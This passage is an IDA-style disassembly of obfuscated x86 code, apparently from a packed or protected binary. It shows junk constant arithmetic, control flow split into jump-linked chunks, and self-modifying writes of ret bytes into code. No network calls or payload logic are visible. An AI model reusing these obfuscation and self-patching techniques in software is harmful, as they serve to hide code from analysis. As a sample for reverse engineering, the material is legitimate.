		add	al, 24h
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		call	sub_756691
		mov	eax, 2D912001h
		jmp	loc_7484E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_745BAB:				; CODE XREF: sub_74AAC1+81B7j
		xchg	eax, [esp+0]
		jmp	loc_7502B5
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_745BB3:				; CODE XREF: sub_748FA4:loc_755716j
		xchg	ebx, ecx
		shl	edx, 10h


loc_745BB8:				; CODE XREF: _0z4jwtox:0074A990j
		jmp	loc_755EE0
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
		push	ebx
		push	0F8486A3h
		pop	ebx
		and	ebx, 0AAEB4CBh
		or	ebx, 96276813h
		xor	ebx, 8689A488h
		or	ebx, 30E913ECh
		jmp	loc_752E86
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_751EFF
; ---------------------------------------------------------------------------


loc_745BE7:				; DATA XREF: sub_74C2C9-54A6o
		jnz	loc_74FFB3
		jmp	loc_7556FF
; ---------------------------------------------------------------------------
		jmp	loc_75114D

; =============== S U B	R O U T	I N E =======================================



sub_745BF7	proc near		; CODE XREF: sub_7475DD+8p
					; sub_745BF7+9E0Cj ...

; FUNCTION CHUNK AT 0074CA77 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F9F2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0075408B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755873 SIZE 00000014 BYTES

		mov	edx, 1
		lock xchg edx, [eax]
		or	edx, edx
		jz	nullsub_22


loc_745C07:				; CODE XREF: sub_745BF7+9E06j
					; sub_745BF7+FC85j
		jnb	loc_74FA08
		push	eax
		jmp	loc_75408B
sub_745BF7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74EF6C


loc_745C13:				; CODE XREF: sub_74EF6C-255Fj
		xor	ebx, 0EDC5955Eh
		rol	edx, 6
		popf
		pushf
		shl	ebx, 3
		jmp	loc_74EE3E
; END OF FUNCTION CHUNK	FOR sub_74EF6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749115


loc_745C26:				; CODE XREF: sub_749115:loc_74FDCAj
		call	sub_745C34
		pop	ecx
		mov	[ebp-20h], eax


loc_745C2F:				; CODE XREF: sub_74BFE0:loc_746282j
		jmp	loc_74F00B
; END OF FUNCTION CHUNK	FOR sub_749115

; =============== S U B	R O U T	I N E =======================================



sub_745C34	proc near		; CODE XREF: sub_749115:loc_745C26p

; FUNCTION CHUNK AT 00746888 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00749A08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075421B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00756F32 SIZE 00000024 BYTES

		call	sub_748A22


loc_745C39:				; CODE XREF: sub_748FA4+DC16j
		jmp	loc_75421B
sub_745C34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_745C3E:				; CODE XREF: sub_74724C+F13Cj
		jmp	loc_748F85
; END OF FUNCTION CHUNK	FOR sub_74724C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750715


loc_745C43:				; CODE XREF: sub_750715+1EC2j
		jmp	loc_75502C
; END OF FUNCTION CHUNK	FOR sub_750715
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B95


loc_745C48:				; CODE XREF: sub_749B95+Bj
		jmp	loc_74C42A
; END OF FUNCTION CHUNK	FOR sub_749B95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752737


loc_745C4D:				; CODE XREF: sub_7567B4:loc_745D4Cj
					; sub_74B1F1-46D8j ...
		jmp	loc_753C12
; END OF FUNCTION CHUNK	FOR sub_752737
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7567B4


loc_745C52:				; CODE XREF: sub_745C55+2C78j
					; sub_7567B4+7j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_7567B4

; =============== S U B	R O U T	I N E =======================================



sub_745C55	proc near		; CODE XREF: sub_4093C1+1CFp
					; _0z4jwtox:00753D82j
					; DATA XREF: ...

; FUNCTION CHUNK AT 007456B7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00745D7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007488CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074A9B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C8EF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074E156 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074E471 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754F02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755731 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00756CE0 SIZE 0000001C BYTES

		push	edx
		jmp	loc_756CE0
sub_745C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_745C5B	proc near		; CODE XREF: _0z4jwtox:00747528j
					; sub_74CC05+5p

; FUNCTION CHUNK AT 00754FBB SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	8E53818Fh
		pop	eax
		and	eax, 0A7186ACDh
		add	eax, 0E53EFC55h
		call	sub_746E93
		jmp	loc_754FBB
sub_745C5B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752FC5


loc_745C7B:				; CODE XREF: sub_752FC5-4B8Fj
		push	20A6AA4Fh
		pop	esi
		or	esi, 0A81400A3h
		sub	esi, 0CF78727Fh
		add	esi, 820A7DEBh
		sub	esi, 54BC6315h
		add	esi, 0F9B59D2Eh
		jmp	loc_75057B
; END OF FUNCTION CHUNK	FOR sub_752FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_745CA4:				; CODE XREF: sub_747290+543Dj
		jnp	loc_753C49


loc_745CAA:				; CODE XREF: sub_747290:loc_74D1D7j
		add	esi, 0A938BB6Bh
		sub	esi, 0FFAFC2A5h
		push	offset sub_747D57
		jmp	loc_752A0F
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
		mov	ebx, [edi]
		jmp	sub_754B1B

; =============== S U B	R O U T	I N E =======================================



sub_745CC7	proc near		; CODE XREF: sub_74847B+13p
					; _0z4jwtox:0074EE68j

; FUNCTION CHUNK AT 00748E3E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	esp, ebp
		pop	ebp
		jmp	loc_748E3E
sub_745CC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	edx, 0Eh
		jmp	loc_750AE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_745CDB:				; CODE XREF: sub_7501AF:loc_74585Cj
		add	ecx, 863327EDh
		and	ecx, 5E697830h
		add	ecx, 0AA7461E5h
		xchg	ecx, [esp+0]
		jmp	sub_753D0E
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_745CF5:				; CODE XREF: sub_75622B:loc_74F2EBj
		lea	eax, sub_749161
		mov	byte ptr [eax],	0C3h
		jmp	sub_749161
; END OF FUNCTION CHUNK	FOR sub_75622B

; =============== S U B	R O U T	I N E =======================================



sub_745D03	proc near		; CODE XREF: sub_40517E+26Dp
					; _0z4jwtox:007500E9j
					; DATA XREF: ...
		push	eax
		push	offset loc_75540C
		jmp	nullsub_23
sub_745D03	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_745D0E:				; CODE XREF: sub_747C22+7C81j
		cmp	edi, 48521FC4h
		jmp	loc_74EEAB
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_745D19:				; DATA XREF: sub_74CBCF+217Ao
		push	edx
		nop
		mov	eax, 2867838Ah
		call	sub_746E93
		mov	ds:off_41F040, eax
		lea	eax, loc_74ED3A
		mov	byte ptr [eax],	0C3h
		jmp	loc_74ED3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_745D39:				; CODE XREF: _0z4jwtox:0074BEBBj
					; sub_74CBCF+2171j
		mov	eax, [esp+0]
		jmp	sub_74564F
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
		or	edx, 155ECE32h


loc_745D47:				; CODE XREF: _0z4jwtox:00756599j
		jmp	sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7567B4


loc_745D4C:				; CODE XREF: sub_7567B4+Dj
		jz	loc_745C4D
		jmp	loc_75512C
; END OF FUNCTION CHUNK	FOR sub_7567B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_745D57:				; CODE XREF: sub_7561AB-C29Bj
		jge	loc_74DA83
; END OF FUNCTION CHUNK	FOR sub_7561AB
; START	OF FUNCTION CHUNK FOR sub_74F08D


loc_745D5D:				; CODE XREF: sub_74F08D-58F7j
		jmp	loc_75628C
; END OF FUNCTION CHUNK	FOR sub_74F08D
; ---------------------------------------------------------------------------
		sub	ebx, ecx
		xchg	eax, [ecx]
		adc	edi, 8EC38CADh
		jmp	loc_74DA83
; ---------------------------------------------------------------------------
		add	edx, 21FAA291h
		jmp	sub_747032
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_745D7C:				; CODE XREF: sub_745C55-582j
		jz	loc_7539C0
		jmp	loc_74E156
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------


loc_745D87:				; CODE XREF: _0z4jwtox:00753873j
		push	esi
		push	3AEA7C04h
		pop	esi
		rol	esi, 0Eh
		add	esi, 6173F13Fh
		jmp	loc_74A34A
; ---------------------------------------------------------------------------


loc_745D9C:				; CODE XREF: _0z4jwtox:007503ACj
		jz	loc_74EC6F
; START	OF FUNCTION CHUNK FOR sub_749010


loc_745DA2:				; CODE XREF: sub_749010:loc_74EC40j
		sub	edx, ebx
		jmp	sub_74D02D
; END OF FUNCTION CHUNK	FOR sub_749010
; ---------------------------------------------------------------------------


loc_745DA9:				; CODE XREF: _0z4jwtox:00749C42j
		rol	ebp, 19h
		jmp	loc_74E3B1

; =============== S U B	R O U T	I N E =======================================



sub_745DB1	proc near		; CODE XREF: _0z4jwtox:0074635Ep
					; _0z4jwtox:0074E228j

; FUNCTION CHUNK AT 0074A9AB SIZE 00000006 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ebx
		push	0CDF302F2h
		pop	ebx
		and	ebx, 0D1AAC922h
		test	ebx, 1000000h
		jmp	loc_74A9AB
sub_745DB1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_745DCD:				; CODE XREF: _0z4jwtox:0075137Dj
		jz	loc_74509B
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_745DD3:				; CODE XREF: sub_74698F:loc_74DE09j
					; sub_74C3EB:loc_7526F4j
		add	eax, 0D77752D5h
		add	eax, ebp
		add	eax, 0F6618C6Dh
		jmp	loc_7565FC
; END OF FUNCTION CHUNK	FOR sub_74698F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_745DE6:				; CODE XREF: sub_74D782+3257j
		jge	loc_74C9E6
		mov	[edx], ebp
		or	eax, edx


loc_745DF0:				; CODE XREF: sub_74D782:loc_74D8E9j
		mov	eax, offset off_74B95C
		mov	[ebp-4], eax
		xor	eax, 0E13F90ADh
		jmp	loc_752F1F
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
		mov	eax, edi
		jmp	sub_74870B
; ---------------------------------------------------------------------------


loc_745E0A:				; CODE XREF: _0z4jwtox:0075700Aj
		jnz	loc_7536BF
		jmp	loc_753BA2
; ---------------------------------------------------------------------------

locret_745E15:				; CODE XREF: _0z4jwtox:00745387j
		retn
; ---------------------------------------------------------------------------


loc_745E16:				; CODE XREF: _0z4jwtox:0074B7CEj
		sbb	ebp, 24B4E02Eh
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_74E58E


loc_745E1D:				; CODE XREF: sub_74E58E:loc_74B7BBj
		xor	edi, 24437ECBh
		add	edi, 0D9944F9h
		xchg	edi, [esp+0]
		jmp	sub_75310B
; END OF FUNCTION CHUNK	FOR sub_74E58E
; ---------------------------------------------------------------------------
		adc	ecx, edi
		xchg	eax, esi
		jmp	sub_74B020
; ---------------------------------------------------------------------------


loc_745E3A:				; CODE XREF: _0z4jwtox:007578BDj
		call	sub_752E0F


loc_745E3F:				; CODE XREF: _0z4jwtox:loc_74E652j
		call	sub_74C2C9
		or	eax, eax
		jnz	loc_74B6C3
		jmp	loc_75230E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_745E51:				; CODE XREF: sub_74AAC1-314Aj
		pop	eax
		or	eax, 260F6D21h
		test	eax, 20000000h
		jmp	loc_74D331
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
		jle	loc_75787F
		jmp	sub_74BA2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F1FE


loc_745E6E:				; CODE XREF: sub_74F1FE+7j
		mov	edi, eax
		pop	eax
		xor	edi, 624A507Ch
		cmp	edi, 0FA6402C8h
		jmp	loc_752EE8
; END OF FUNCTION CHUNK	FOR sub_74F1FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7539AE


loc_745E82:				; CODE XREF: sub_7539AE+Dj
		mov	[ebp-20h], eax
		jmp	loc_74867F
; END OF FUNCTION CHUNK	FOR sub_7539AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75263A


loc_745E8A:				; CODE XREF: sub_75263A:loc_7482D4j
		call	sub_74BED4


loc_745E8F:				; CODE XREF: sub_7558BD+Dj
		and	esi, 0E6E43FACh
; END OF FUNCTION CHUNK	FOR sub_75263A

; =============== S U B	R O U T	I N E =======================================



sub_745E95	proc near		; CODE XREF: _0z4jwtox:loc_74C5E5p
		xchg	edi, [esp+0]
		pop	edi
		lea	eax, nullsub_6
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_6
sub_745E95	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_745EA7:				; CODE XREF: _0z4jwtox:00748CEEj
		mov	eax, [esp]
		jmp	loc_75667C
; ---------------------------------------------------------------------------

locret_745EAF:				; CODE XREF: _0z4jwtox:007461E7j
		retn
; ---------------------------------------------------------------------------


loc_745EB0:				; CODE XREF: _0z4jwtox:00755850j
		jmp	loc_7467A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CD80


loc_745EB5:				; CODE XREF: sub_74CD80-3322j
		jmp	loc_746E6B
; END OF FUNCTION CHUNK	FOR sub_74CD80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_745EBA:				; CODE XREF: sub_74F78B-74C8j
		jmp	loc_7483D4
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_745EBF:				; CODE XREF: sub_747C39:loc_74B520j
		jnz	loc_74E8DE
		pushf
		test	ebp, edi
		jmp	loc_74E8CB
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_745ECD:				; CODE XREF: sub_7543C5+33B9j
		jnz	loc_75641E
		jmp	loc_74AB2A
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_745ED8:				; CODE XREF: sub_75275A:loc_74AC9Aj
		lea	eax, [ebp-12Dh]
		push	eax
		call	sub_74C2C9
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_753A23
		jmp	loc_74BB0A
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74894B


loc_745EF6:				; CODE XREF: sub_74894B:loc_746820j
					; sub_74894B-2118j
		add	edi, 42CCC8Eh
		xchg	edi, [esp+0]
		jmp	loc_74B54E
; END OF FUNCTION CHUNK	FOR sub_74894B
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DF5E


loc_745F05:				; CODE XREF: sub_74DF5E+Ej
		jmp	loc_746F4E
; END OF FUNCTION CHUNK	FOR sub_74DF5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_745F0A:				; CODE XREF: sub_74D23E:loc_750C5Cj
		xchg	ebx, [esp+0]
		push	ecx
		push	4509CA4h
		pop	ecx
		rol	ecx, 1Fh
		add	ecx, 0FE4CBD1Ch
		push	offset sub_7462D6
		jmp	loc_74B9F0
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754E36


loc_745F27:				; CODE XREF: sub_754E36:loc_74B9C5j
					; sub_756435+5j
		mov	eax, [ebp-18h]
		add	eax, eax
		call	sub_75537E


loc_745F31:				; CODE XREF: _0z4jwtox:0074EA4Fj
		sbb	ecx, 5718E892h
; END OF FUNCTION CHUNK	FOR sub_754E36

; =============== S U B	R O U T	I N E =======================================



sub_745F37	proc near		; CODE XREF: sub_7561AB-AE65p
		xchg	edx, [esp+0]


loc_745F3A:				; CODE XREF: sub_7452F3:loc_74A39Ej
		pop	edx
		add	esi, 0F15AF63h
		push	offset sub_750395
		jmp	nullsub_25
sub_745F37	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74985C


loc_745F4B:				; CODE XREF: sub_74985C+5530j
		sub	ebp, esi
		adc	edx, esi


loc_745F4F:				; CODE XREF: sub_752DF2-D796j
					; sub_7453AD+AEB7j ...
		push	offset sub_754A2B
		jmp	nullsub_175
; END OF FUNCTION CHUNK	FOR sub_74985C
; ---------------------------------------------------------------------------

locret_745F59:				; CODE XREF: _0z4jwtox:00753322j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_745F5A:				; CODE XREF: sub_7557E7-677Bj
		jmp	nullsub_10
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_745F5F:				; CODE XREF: sub_74AE46:loc_745077j
					; sub_74AE46+383Aj
		rol	esi, 0Ch
		xor	esi, 0C117919Eh
		add	esi, 112562B6h
		xor	eax, esi
		pop	esi
		jmp	loc_752D29
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------


loc_745F76:				; CODE XREF: _0z4jwtox:00754137j
		js	loc_747AC8
		push	esi
		jmp	sub_74FB89
; ---------------------------------------------------------------------------
		jmp	ds:off_41F0E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757314


loc_745F88:				; CODE XREF: sub_757314-78F5j
		jmp	loc_74D511
; END OF FUNCTION CHUNK	FOR sub_757314
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749254


loc_745F8D:				; CODE XREF: sub_74B008+Dj
					; sub_74F402+Dj ...
		jnb	loc_74F414
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_74D92E
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_745F9C:				; CODE XREF: sub_74CBCF-C5Dj
		popf
		xor	eax, ebx
		pop	ebx
		rol	eax, 11h
		push	offset sub_750ECF
		jmp	nullsub_139
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_745FAD:				; CODE XREF: sub_74698F:loc_752A0Aj
		or	eax, 3026199Eh
		cmp	eax, 7DDE8E43h
		jmp	loc_74DE09
; END OF FUNCTION CHUNK	FOR sub_74698F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E84B


loc_745FBE:				; CODE XREF: sub_74E84B:loc_74E85Aj
		jnz	loc_754C8A
		jmp	loc_74E446
; END OF FUNCTION CHUNK	FOR sub_74E84B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_745FC9:				; CODE XREF: sub_74F78B:loc_746F75j
		call	sub_746E93
		push	edi
		push	0BAAD7E35h
		adc	edi, 0D8D79A10h
		jmp	loc_74CBCA
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------


loc_745FDF:				; CODE XREF: _0z4jwtox:00752C56j
		ja	loc_754A9A

; =============== S U B	R O U T	I N E =======================================



sub_745FE5	proc near		; CODE XREF: sub_750D29:loc_746A53p

; FUNCTION CHUNK AT 0074A28E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F00B SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_74A445
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_74A28E
sub_745FE5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_745FF7:				; CODE XREF: _0z4jwtox:loc_7522ADj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_745FF8:				; CODE XREF: sub_752D11-30Dj
		jmp	loc_74AC87
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F53E


loc_745FFD:				; CODE XREF: sub_74F53E+16j
		jmp	loc_74F348
; END OF FUNCTION CHUNK	FOR sub_74F53E
; ---------------------------------------------------------------------------


loc_746002:				; CODE XREF: _0z4jwtox:loc_753952j
		jnz	loc_74CDD2


loc_746008:				; CODE XREF: _0z4jwtox:0074BCCEj
		jmp	loc_756BBF
; ---------------------------------------------------------------------------
		test	ebx, 43028ACFh
		jmp	loc_74855D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_746018:				; CODE XREF: sub_74CBCF+1FCEj
		xor	eax, 176F47E5h
		push	edx
		push	1B094288h
		pop	edx
		or	edx, 0FAC61826h
		add	edx, 568C23CDh
		sub	eax, edx
		jmp	loc_749A1B
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_746038:				; CODE XREF: sub_74D1F3+2532j
		popf
		jmp	loc_75322A
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E685


loc_74603E:				; CODE XREF: sub_74E685:loc_753BBAj
		jz	loc_74A39E
		jmp	loc_757302
; END OF FUNCTION CHUNK	FOR sub_74E685
; ---------------------------------------------------------------------------


loc_746049:				; CODE XREF: _0z4jwtox:00746AD1j
		jnb	loc_74EB89
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74604F:				; CODE XREF: sub_74673E+382j
		rol	ecx, 13h
		add	ecx, 91576A01h
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		jmp	loc_752033
; END OF FUNCTION CHUNK	FOR sub_74673E

; =============== S U B	R O U T	I N E =======================================



sub_746062	proc near		; CODE XREF: sub_749DB4-B1Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0075132B SIZE 00000005 BYTES

		push	ebx
		push	186C94FBh
		pop	ebx
		sub	ebx, 0F267818h
		xor	ebx, 21124FD8h
		add	ebx, 0D82006BEh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_75132B
sub_746062	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_746083:				; CODE XREF: sub_750638:loc_751069j
		shr	edi, 14h
		or	ebx, edx
		jmp	loc_746414
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_74608D:				; CODE XREF: sub_74B1F1:loc_7496E2j
		mov	edi, edx
		xchg	edi, [esp+0]
		call	sub_746C25
		mov	eax, 0F1A543E0h
		push	eax
		push	5A3BA31Fh
		pop	eax
		rol	eax, 1Eh
		jmp	loc_753E77
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_7460AB:				; CODE XREF: sub_745911+9j
					; _0z4jwtox:007459E4j
		jns	loc_74881A
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_75162C[eax*4],	0
		jz	loc_747CE7
		jmp	loc_7487FD
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_7460CA:				; CODE XREF: sub_749980-16E1j
		jge	loc_74775A
		jmp	loc_755000
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BB8


loc_7460D5:				; CODE XREF: sub_748BB8:loc_74788Dj
		jb	loc_74CB18
		mov	eax, [esp+0]
		push	edx
		push	ecx
		push	9AF5DCD4h
		pop	ecx
		and	ecx, 0C1A9363Bh
		jmp	loc_75330A
; END OF FUNCTION CHUNK	FOR sub_748BB8

; =============== S U B	R O U T	I N E =======================================



sub_7460F1	proc near		; CODE XREF: sub_74D7D4+Bp
					; _0z4jwtox:007501DFj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00747847 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00747AAA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074AB6F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0074D41F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	3E15E028h
		xchg	esi, [esp+0]
		jmp	loc_74AB6F
sub_7460F1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750C2D


loc_746102:				; CODE XREF: sub_750C2D+5997j
		jo	loc_74719B


loc_746108:				; CODE XREF: sub_750C2D+5292j
		xor	eax, 0AB1F38A0h
		call	sub_746C84


loc_746113:				; CODE XREF: sub_746F33+DD07j
		jmp	nullsub_168
; END OF FUNCTION CHUNK	FOR sub_750C2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C1D8


loc_746118:				; CODE XREF: sub_74C1D8+12j
		jmp	loc_7476CF
; END OF FUNCTION CHUNK	FOR sub_74C1D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75532F


loc_74611D:				; CODE XREF: sub_75532F-E41Aj
		jmp	nullsub_186
; END OF FUNCTION CHUNK	FOR sub_75532F
; ---------------------------------------------------------------------------


loc_746122:				; CODE XREF: _0z4jwtox:00755C1Ej
		and	ecx, 9F9C2C9Fh

; =============== S U B	R O U T	I N E =======================================



sub_746128	proc near		; CODE XREF: sub_74673E+D487p

; FUNCTION CHUNK AT 00745328 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00746A43 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00748BFE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F434 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_746A43
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		jmp	loc_745328
sub_746128	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74613F:				; CODE XREF: _0z4jwtox:00755D74j
		adc	ebx, 0EAEEA2F5h

; =============== S U B	R O U T	I N E =======================================



sub_746145	proc near		; CODE XREF: sub_745A78:loc_749509p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074A79F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0074E085 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755720 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	edx


loc_74614D:				; DATA XREF: .data:off_430ED8o
		call	sub_74A5E8
		jmp	loc_74E085
sub_746145	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_746157:				; CODE XREF: sub_74D23E+7j
		or	edi, 0AA2A3442h
		xor	edi, 0CDA93632h
; END OF FUNCTION CHUNK	FOR sub_74D23E

; =============== S U B	R O U T	I N E =======================================



sub_746163	proc near		; DATA XREF: .data:off_42D848o
		add	edi, 0D3D62191h
		test	edi, 100000h


loc_74616F:				; DATA XREF: .data:off_430FE0o
		jmp	loc_750B2B
sub_746163	endp

; ---------------------------------------------------------------------------
		cdq
		test	edi, esi
		jmp	loc_7474EF
; ---------------------------------------------------------------------------
		mov	[edi], eax
		jmp	sub_74B928
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_746183:				; CODE XREF: sub_74CF35+8E91j
		jnz	loc_748969
		jmp	loc_755324
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74618E:				; CODE XREF: sub_747AEC:loc_74B219j
		jnp	loc_755624


